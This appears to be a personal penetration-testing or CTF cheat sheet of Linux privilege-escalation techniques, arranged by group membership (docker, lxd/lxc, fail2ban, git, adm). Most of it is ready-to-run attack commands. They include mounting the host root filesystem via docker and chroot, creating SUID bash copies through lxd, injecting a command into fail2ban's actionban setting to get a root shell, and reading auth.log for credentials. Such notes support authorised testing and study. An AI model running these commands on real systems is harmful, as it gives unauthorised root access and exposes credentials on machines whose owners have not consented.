docker
- If you run
id
and notice you are part of docker group can try this. - Check where is the docker socket:
find / -name docker.sock 2>/dev/null
(Check if it is at /run/docker.sock) - List all the images available:
docker images
- Mount the disk and has root permission (prefer ubuntu, put in imagename):
docker run -it -v /:/host/ imagename chroot /host/ bash
- (Alternatively) can run the below:
docker run -it --rm --pid=host --privileged ubuntu bash
OR
docker run -it -v /:/host/ --cap-add=ALL --security-opt apparmor=unconfined --security-opt seccomp=unconfined --security-opt label:disable --pid=host --userns=host --uts=host --cgroupns=host ubuntu chroot /host/ bash
- If docker is not at /run/docker.sock, use the
-H
parameter, for example:
-H unix:///path/to/docker.sock
lxd / lxc
- Use
id
and if your user is in either lxd or lxc group, can priv esc. - Follow here: https://book.hacktricks.xyz/linux-hardening/privilege-escalation/interesting-groups-linux-pe/lxd-privilege-escalation
- Browse to /mnt/root to see the actual filesystem mounted as root.
- Copy bash and set SUID:
cp /mnt/root/bin/bash /mnt/root/tmp/
chmod 7777 /mnt/root/tmp/bash
- Use
exit
to exit from container and run/tmp/bash -p
to get root
fail2ban
- Check if you have write access to the following:
ls -la /etc/fail2ban/action.d/iptables-multiport.conf
- If yes, use the following:
echo "actionban = cp /bin/bash /tmp/rootbash;chown root /tmp/rootbash;chmod +s /tmp/rootbash" >> ./iptables-multiport.conf
- Attempt to login with wrong credentials using ssh / other action that trigger ban.
- run
/tmp/rootbash -p
git
- If you are able to SSH into an account with git access, can push changes to the local git. First:
GIT_SSH_COMMAND='ssh -i id_rsa -p PORT' git clone git@IP:/gitpathname
- Change directory into the git path:
cd gitpathname
- Configure the identity of Git:
git config --global user.name "kali"
git config --global user.email "kali@kali.(none)"
- Make whatever changes to the file (remember to
chmod+x
for executables) - Add and commit the change:
git add -A
git commit -m "pwn"
- Push the change:
GIT_SSH_COMMAND='ssh -i ~/id_rsa -p PORT' git push origin master
adm
Will usually have access to read logs
- Check the permission:
ls -la /var/log/auth.log
- Read to see if got any credentials that can be used:
cat /var/log/auth.log